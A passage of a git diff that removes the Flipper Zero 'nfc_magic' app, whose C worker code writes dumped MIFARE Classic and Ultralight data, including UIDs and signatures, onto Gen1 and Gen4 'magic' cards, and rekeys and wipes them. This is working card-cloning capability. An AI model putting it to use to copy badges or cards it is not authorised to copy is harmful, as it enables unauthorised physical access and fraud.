nfc_device_free(nfc_magic->source_dev); - - // Submenu - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); - submenu_free(nfc_magic->submenu); - - // Popup - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); - popup_free(nfc_magic->popup); - - // Loading - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewLoading); - loading_free(nfc_magic->loading); - - // Text Input - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewTextInput); - text_input_free(nfc_magic->text_input); - - // Byte Input - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); - byte_input_free(nfc_magic->byte_input); - - // Custom Widget - view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); - widget_free(nfc_magic->widget); - - // Worker - nfc_magic_worker_stop(nfc_magic->worker); - nfc_magic_worker_free(nfc_magic->worker); - - // View Dispatcher - view_dispatcher_free(nfc_magic->view_dispatcher); - - // Scene Manager - scene_manager_free(nfc_magic->scene_manager); - - // GUI - furi_record_close(RECORD_GUI); - nfc_magic->gui = NULL; - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - nfc_magic->notifications = NULL; - - free(nfc_magic); -} - -static const NotificationSequence nfc_magic_sequence_blink_start_cyan = { - &message_blink_start_10, - &message_blink_set_color_cyan, - &message_do_not_reset, - NULL, -}; - -static const NotificationSequence nfc_magic_sequence_blink_stop = { - &message_blink_stop, - NULL, -}; - -void nfc_magic_blink_start(NfcMagic* nfc_magic) { - notification_message(nfc_magic->notifications, &nfc_magic_sequence_blink_start_cyan); -} - -void nfc_magic_blink_stop(NfcMagic* nfc_magic) { - notification_message(nfc_magic->notifications, &nfc_magic_sequence_blink_stop); -} - -int32_t nfc_magic_app(void* p) { - UNUSED(p); - NfcMagic* nfc_magic = nfc_magic_alloc(); - - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneStart); - - view_dispatcher_run(nfc_magic->view_dispatcher); - - magic_deactivate(); - nfc_magic_free(nfc_magic); - - return 0; -} diff --git a/applications/external/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h deleted file mode 100644 index f9cf395d8..000000000 --- a/applications/external/nfc_magic/nfc_magic.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -typedef struct NfcMagicDevice NfcMagicDevice; - -typedef struct NfcMagic NfcMagic; diff --git a/applications/external/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h deleted file mode 100644 index 88bc5706f..000000000 --- a/applications/external/nfc_magic/nfc_magic_i.h +++ /dev/null @@ -1,94 +0,0 @@ -#pragma once - -#include "nfc_magic.h" -#include "nfc_magic_worker.h" - -#include "lib/magic/common.h" -#include "lib/magic/types.h" -#include "lib/magic/classic_gen1.h" -#include "lib/magic/gen4.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include - -#include "scenes/nfc_magic_scene.h" - -#include -#include - -#include -#include "nfc_magic_icons.h" - -#define NFC_APP_FOLDER ANY_PATH("nfc") - -enum NfcMagicCustomEvent { - // Reserve first 100 events for button types and indexes, starting from 0 - NfcMagicCustomEventReserved = 100, - - NfcMagicCustomEventViewExit, - NfcMagicCustomEventWorkerExit, - NfcMagicCustomEventByteInputDone, - NfcMagicCustomEventTextInputDone, -}; - -struct NfcMagicDevice { - MagicType type; - uint32_t cuid; - uint8_t uid_len; - uint32_t password; -}; - -struct NfcMagic { - NfcMagicWorker* worker; - ViewDispatcher* view_dispatcher; - Gui* gui; - NotificationApp* notifications; - SceneManager* scene_manager; - struct NfcMagicDevice* dev; - NfcDevice* source_dev; - - uint32_t new_password; - - FuriString* text_box_store; - - // Common Views - Submenu* submenu; - Popup* popup; - Loading* loading; - TextInput* text_input; - ByteInput* byte_input; - Widget* widget; -}; - -typedef enum { - NfcMagicViewMenu, - NfcMagicViewPopup, - NfcMagicViewLoading, - NfcMagicViewTextInput, - NfcMagicViewByteInput, - NfcMagicViewWidget, -} NfcMagicView; - -NfcMagic* nfc_magic_alloc(); - -void nfc_magic_text_store_set(NfcMagic* nfc_magic, const char* text, ...); - -void nfc_magic_text_store_clear(NfcMagic* nfc_magic); - -void nfc_magic_blink_start(NfcMagic* nfc_magic); - -void nfc_magic_blink_stop(NfcMagic* nfc_magic); - -void nfc_magic_show_loading_popup(void* context, bool show); diff --git a/applications/external/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c deleted file mode 100644 index 86f521b2b..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker.c +++ /dev/null @@ -1,483 +0,0 @@ -#include "nfc_magic_worker_i.h" - -#include "nfc_magic_i.h" -#include "lib/magic/common.h" -#include "lib/magic/classic_gen1.h" -#include "lib/magic/gen4.h" - -#define TAG "NfcMagicWorker" - -static void - nfc_magic_worker_change_state(NfcMagicWorker* nfc_magic_worker, NfcMagicWorkerState state) { - furi_assert(nfc_magic_worker); - - nfc_magic_worker->state = state; -} - -NfcMagicWorker* nfc_magic_worker_alloc() { - NfcMagicWorker* nfc_magic_worker = malloc(sizeof(NfcMagicWorker)); - - // Worker thread attributes - nfc_magic_worker->thread = - furi_thread_alloc_ex("NfcMagicWorker", 8192, nfc_magic_worker_task, nfc_magic_worker); - - nfc_magic_worker->callback = NULL; - nfc_magic_worker->context = NULL; - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateReady); - - return nfc_magic_worker; -} - -void nfc_magic_worker_free(NfcMagicWorker* nfc_magic_worker) { - furi_assert(nfc_magic_worker); - - furi_thread_free(nfc_magic_worker->thread); - free(nfc_magic_worker); -} - -void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker) { - furi_assert(nfc_magic_worker); - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateStop); - furi_thread_join(nfc_magic_worker->thread); -} - -void nfc_magic_worker_start( - NfcMagicWorker* nfc_magic_worker, - NfcMagicWorkerState state, - NfcMagicDevice* magic_dev, - NfcDeviceData* dev_data, - uint32_t new_password, - NfcMagicWorkerCallback callback, - void* context) { - furi_assert(nfc_magic_worker); - furi_assert(magic_dev); - furi_assert(dev_data); - - furi_hal_nfc_deinit(); - furi_hal_nfc_init(); - - nfc_magic_worker->callback = callback; - nfc_magic_worker->context = context; - nfc_magic_worker->magic_dev = magic_dev; - nfc_magic_worker->dev_data = dev_data; - nfc_magic_worker->new_password = new_password; - nfc_magic_worker_change_state(nfc_magic_worker, state); - furi_thread_start(nfc_magic_worker->thread); -} - -int32_t nfc_magic_worker_task(void* context) { - NfcMagicWorker* nfc_magic_worker = context; - - if(nfc_magic_worker->state == NfcMagicWorkerStateCheck) { - nfc_magic_worker_check(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { - nfc_magic_worker_write(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { - nfc_magic_worker_rekey(nfc_magic_worker); - } else if(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { - nfc_magic_worker_wipe(nfc_magic_worker); - } - - nfc_magic_worker_change_state(nfc_magic_worker, NfcMagicWorkerStateReady); - - return 0; -} - -void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { - bool card_found_notified = false; - bool done = false; - FuriHalNfcDevData nfc_data = {}; - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - NfcDeviceData* dev_data = nfc_magic_worker->dev_data; - NfcProtocol dev_protocol = dev_data->protocol; - - while(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { - do { - if(magic_dev->type == MagicTypeClassicGen1) { - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_deactivate(); - magic_activate(); - if(!magic_gen1_wupa()) { - FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - done = true; - break; - } - magic_deactivate(); - } - magic_activate(); - if(magic_gen1_wupa()) { - magic_gen1_data_access_cmd(); - - MfClassicData* mfc_data = &dev_data->mf_classic_data; - for(size_t i = 0; i < 64; i++) { - FURI_LOG_D(TAG, "Writing block %d", i); - if(!magic_gen1_write_blk(i, &mfc_data->block[i])) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - done = true; - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - break; - } - } - - done = true; - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } - } else if(magic_dev->type == MagicTypeGen4) { - if(furi_hal_nfc_detect(&nfc_data, 200)) { - uint8_t gen4_config[28]; - uint32_t password = magic_dev->password; - - uint32_t cuid; - if(dev_protocol == NfcDeviceProtocolMifareClassic) { - gen4_config[0] = 0x00; - gen4_config[27] = 0x00; - } else if(dev_protocol == NfcDeviceProtocolMifareUl) { - MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; - gen4_config[0] = 0x01; - switch(mf_ul_data->type) { - case MfUltralightTypeUL11: - case MfUltralightTypeUL21: - // UL-C? - // UL? - default: - gen4_config[27] = MagicGen4UltralightModeUL_EV1; - break; - case MfUltralightTypeNTAG203: - case MfUltralightTypeNTAG213: - case MfUltralightTypeNTAG215: - case MfUltralightTypeNTAG216: - case MfUltralightTypeNTAGI2C1K: - case MfUltralightTypeNTAGI2C2K: - case MfUltralightTypeNTAGI2CPlus1K: - case MfUltralightTypeNTAGI2CPlus2K: - gen4_config[27] = MagicGen4UltralightModeNTAG; - break; - } - } - - if(dev_data->nfc_data.uid_len == 4) { - gen4_config[1] = MagicGen4UIDLengthSingle; - } else if(dev_data->nfc_data.uid_len == 7) { - gen4_config[1] = MagicGen4UIDLengthDouble; - } else { - FURI_LOG_E(TAG, "Unexpected UID length %d", dev_data->nfc_data.uid_len); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - - gen4_config[2] = (uint8_t)(password >> 24); - gen4_config[3] = (uint8_t)(password >> 16); - gen4_config[4] = (uint8_t)(password >> 8); - gen4_config[5] = (uint8_t)password; - - if(dev_protocol == NfcDeviceProtocolMifareUl) { - gen4_config[6] = MagicGen4ShadowModeHighSpeedIgnore; - } else { - gen4_config[6] = MagicGen4ShadowModeIgnore; - } - gen4_config[7] = 0x00; - memset(gen4_config + 8, 0, 16); - gen4_config[24] = dev_data->nfc_data.atqa[0]; - gen4_config[25] = dev_data->nfc_data.atqa[1]; - gen4_config[26] = dev_data->nfc_data.sak; - - furi_hal_nfc_sleep(); - furi_hal_nfc_activate_nfca(200, &cuid); - if(!magic_gen4_set_cfg(password, gen4_config, sizeof(gen4_config), false)) { - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - if(dev_protocol == NfcDeviceProtocolMifareClassic) { - MfClassicData* mfc_data = &dev_data->mf_classic_data; - size_t block_count = 64; - if(mfc_data->type == MfClassicType4k) block_count = 256; - for(size_t i = 0; i < block_count; i++) { - FURI_LOG_D(TAG, "Writing block %d", i); - if(!magic_gen4_write_blk(password, i, mfc_data->block[i].value)) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - } else if(dev_protocol == NfcDeviceProtocolMifareUl) { - MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; - for(size_t i = 0; (i * 4) < mf_ul_data->data_read; i++) { - size_t data_offset = i * 4; - FURI_LOG_D( - TAG, - "Writing page %zu (%zu/%u)", - i, - data_offset, - mf_ul_data->data_read); - uint8_t* block = mf_ul_data->data + data_offset; - if(!magic_gen4_write_blk(password, i, block)) { - FURI_LOG_E(TAG, "Failed to write %zu page", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - uint8_t buffer[16] = {0}; - - for(size_t i = 0; i < 8; i++) { - memcpy(buffer, &mf_ul_data->signature[i * 4], 4); //-V1086 - if(!magic_gen4_write_blk(password, 0xF2 + i, buffer)) { - FURI_LOG_E(TAG, "Failed to write signature block %d", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - buffer[0] = mf_ul_data->version.header; - buffer[1] = mf_ul_data->version.vendor_id; - buffer[2] = mf_ul_data->version.prod_type; - buffer[3] = mf_ul_data->version.prod_subtype; - if(!magic_gen4_write_blk(password, 0xFA, buffer)) { - FURI_LOG_E(TAG, "Failed to write version block 0"); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - - buffer[0] = mf_ul_data->version.prod_ver_major; - buffer[1] = mf_ul_data->version.prod_ver_minor; - buffer[2] = mf_ul_data->version.storage_size; - buffer[3] = mf_ul_data->version.protocol_type; - if(!magic_gen4_write_blk(password, 0xFB, buffer)) { - FURI_LOG_E(TAG, "Failed to write version block 1"); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - done = true; - break; - } - } - - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - done = true; - break; - } - } - } while(false); - - if(done) break; - - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - - furi_delay_ms(300); - } - magic_deactivate(); -} - -void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker) { - FuriHalNfcDevData nfc_data = {}; - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - uint8_t gen4_config[MAGIC_GEN4_CONFIG_LEN]; - - while(nfc_magic_worker->state == NfcMagicWorkerStateCheck) { - magic_activate(); - if(magic_gen1_wupa()) { - magic_dev->type = MagicTypeClassicGen1; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_dev->cuid = nfc_data.cuid; - magic_dev->uid_len = nfc_data.uid_len; - } else { - // wrong BCC - magic_dev->uid_len = 4; - } - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } else { - magic_deactivate(); - magic_activate(); - if(furi_hal_nfc_detect(&nfc_data, 200)) { - magic_dev->cuid = nfc_data.cuid; - magic_dev->uid_len = nfc_data.uid_len; - if(magic_gen4_get_cfg(magic_dev->password, gen4_config)) { - magic_dev->type = MagicTypeGen4; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - nfc_magic_worker->callback( - NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } else { - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - card_found_notified = true; - } - break; - } else { - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - } - } - - magic_deactivate(); - furi_delay_ms(300); - } - - magic_deactivate(); -} - -void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker) { - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - - if(magic_dev->type != MagicTypeGen4) { - nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - return; - } - - while(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { - magic_activate(); - uint32_t cuid; - furi_hal_nfc_activate_nfca(200, &cuid); - if(cuid != magic_dev->cuid) { - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - continue; - } - - nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - - if(magic_gen4_set_pwd(magic_dev->password, nfc_magic_worker->new_password)) { - magic_dev->password = nfc_magic_worker->new_password; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } - - if(card_found_notified) { //-V547 - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - furi_delay_ms(300); - } - magic_deactivate(); -} - -void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker) { - NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; - bool card_found_notified = false; - bool card_wiped = false; - - MfClassicBlock block; - memset(&block, 0, sizeof(MfClassicBlock)); - MfClassicBlock empty_block; - memset(&empty_block, 0, sizeof(MfClassicBlock)); - MfClassicBlock trailer_block; - memset(&trailer_block, 0xff, sizeof(MfClassicBlock)); - - block.value[0] = 0x01; - block.value[1] = 0x02; - block.value[2] = 0x03; - block.value[3] = 0x04; - block.value[4] = 0x04; - block.value[5] = 0x08; - block.value[6] = 0x04; - - trailer_block.value[7] = 0x07; - trailer_block.value[8] = 0x80; - trailer_block.value[9] = 0x69; - - while(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { - do { - magic_deactivate(); - furi_delay_ms(300); - if(!magic_activate()) break; - if(magic_dev->type == MagicTypeClassicGen1) { - if(!magic_gen1_wupa()) break; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - if(!magic_gen1_data_access_cmd()) break; - if(!magic_gen1_write_blk(0, &block)) break; - - for(size_t i = 1; i < 64; i++) { - FURI_LOG_D(TAG, "Wiping block %d", i); - bool success = false; - if((i | 0x03) == i) { - success = magic_gen1_write_blk(i, &trailer_block); - } else { - success = magic_gen1_write_blk(i, &empty_block); - } - - if(!success) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - nfc_magic_worker->callback( - NfcMagicWorkerEventFail, nfc_magic_worker->context); - break; - } - } - - card_wiped = true; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } else if(magic_dev->type == MagicTypeGen4) { - uint32_t cuid; - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - if(cuid != magic_dev->cuid) break; - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - - if(!magic_gen4_wipe(magic_dev->password)) break; - - card_wiped = true; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - } - } while(false); - - if(card_wiped) break; - - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } - } - magic_deactivate(); -} diff --git a/applications/external/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h deleted file mode 100644 index 51ff4ee43..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include -#include "nfc_magic.h" - -typedef struct NfcMagicWorker NfcMagicWorker; - -typedef enum { - NfcMagicWorkerStateReady, - - NfcMagicWorkerStateCheck, - NfcMagicWorkerStateWrite, - NfcMagicWorkerStateRekey, - NfcMagicWorkerStateWipe, - - NfcMagicWorkerStateStop, -} NfcMagicWorkerState; - -typedef enum { - NfcMagicWorkerEventSuccess, - NfcMagicWorkerEventFail, - NfcMagicWorkerEventCardDetected, - NfcMagicWorkerEventNoCardDetected, - NfcMagicWorkerEventWrongCard, -} NfcMagicWorkerEvent; - -typedef bool (*NfcMagicWorkerCallback)(NfcMagicWorkerEvent event, void* context); - -NfcMagicWorker* nfc_magic_worker_alloc(); - -void nfc_magic_worker_free(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_start( - NfcMagicWorker* nfc_magic_worker, - NfcMagicWorkerState state, - NfcMagicDevice* magic_dev, - NfcDeviceData* dev_data, - uint32_t new_password, - NfcMagicWorkerCallback callback, - void* context); diff --git a/applications/external/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h deleted file mode 100644 index a354f8047..000000000 --- a/applications/external/nfc_magic/nfc_magic_worker_i.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -#include "nfc_magic_worker.h" -#include "lib/magic/common.h" - -struct NfcMagicWorker { - FuriThread* thread; - - NfcMagicDevice* magic_dev; - NfcDeviceData* dev_data; - uint32_t new_password; - - NfcMagicWorkerCallback callback; - void* context; - - NfcMagicWorkerState state; -}; - -int32_t nfc_magic_worker_task(void* context); - -void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker); - -void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene.c b/applications/external/nfc_magic/scenes/nfc_magic_scene.c deleted file mode 100644 index 520ef2a9d..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "nfc_magic_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_magic_on_enter_handlers[])(void*) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_magic_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_magic_on_exit_handlers[])(void* context) = { -#include "nfc_magic_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_magic_scene_handlers = { - .on_enter_handlers = nfc_magic_on_enter_handlers, - .on_event_handlers = nfc_magic_on_event_handlers, - .on_exit_handlers = nfc_magic_on_exit_handlers, - .scene_num = NfcMagicSceneNum, -}; diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene.h b/applications/external/nfc_magic/scenes/nfc_magic_scene.h deleted file mode 100644 index f1e9f715d..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcMagicScene##id, -typedef enum { -#include "nfc_magic_scene_config.h" - NfcMagicSceneNum, -} NfcMagicScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_magic_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_magic_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c deleted file mode 100644 index 675262a9b..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexWrite, - SubmenuIndexWipe, -}; - -void nfc_magic_scene_actions_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_actions_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, "Write", SubmenuIndexWrite, nfc_magic_scene_actions_submenu_callback, nfc_magic); - submenu_add_item( - submenu, "Wipe", SubmenuIndexWipe, nfc_magic_scene_actions_submenu_callback, nfc_magic); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_actions_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexWipe) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); - consumed = true; - } - scene_manager_set_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions, event.event); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - - return consumed; -} - -void nfc_magic_scene_actions_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c deleted file mode 100644 index 90b43d7d3..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c +++ /dev/null @@ -1,89 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneCheckStateCardSearch, - NfcMagicSceneCheckStateCardFound, -}; - -bool nfc_magic_check_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_check_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneCheck); - - if(state == NfcMagicSceneCheckStateCardSearch) { - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - popup_set_text( - nfc_magic->popup, "Apply card to\nthe back", 128, 32, AlignRight, AlignCenter); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_check_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - nfc_magic_scene_check_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateCheck, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_check_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_check_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneMagicInfo); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardFound); - nfc_magic_scene_check_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - nfc_magic_scene_check_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_check_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneCheck, NfcMagicSceneCheckStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h deleted file mode 100644 index 2f9860d96..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h +++ /dev/null @@ -1,18 +0,0 @@ -ADD_SCENE(nfc_magic, start, Start) -ADD_SCENE(nfc_magic, key_input, KeyInput) -ADD_SCENE(nfc_magic, actions, Actions) -ADD_SCENE(nfc_magic, gen4_actions, Gen4Actions) -ADD_SCENE(nfc_magic, new_key_input, NewKeyInput) -ADD_SCENE(nfc_magic, file_select, FileSelect) -ADD_SCENE(nfc_magic, write_confirm, WriteConfirm) -ADD_SCENE(nfc_magic, wrong_card, WrongCard) -ADD_SCENE(nfc_magic, write, Write) -ADD_SCENE(nfc_magic, write_fail, WriteFail) -ADD_SCENE(nfc_magic, success, Success) -ADD_SCENE(nfc_magic, check, Check) -ADD_SCENE(nfc_magic, not_magic, NotMagic) -ADD_SCENE(nfc_magic, magic_info, MagicInfo) -ADD_SCENE(nfc_magic, rekey, Rekey) -ADD_SCENE(nfc_magic, rekey_fail, RekeyFail) -ADD_SCENE(nfc_magic, wipe, Wipe) -ADD_SCENE(nfc_magic, 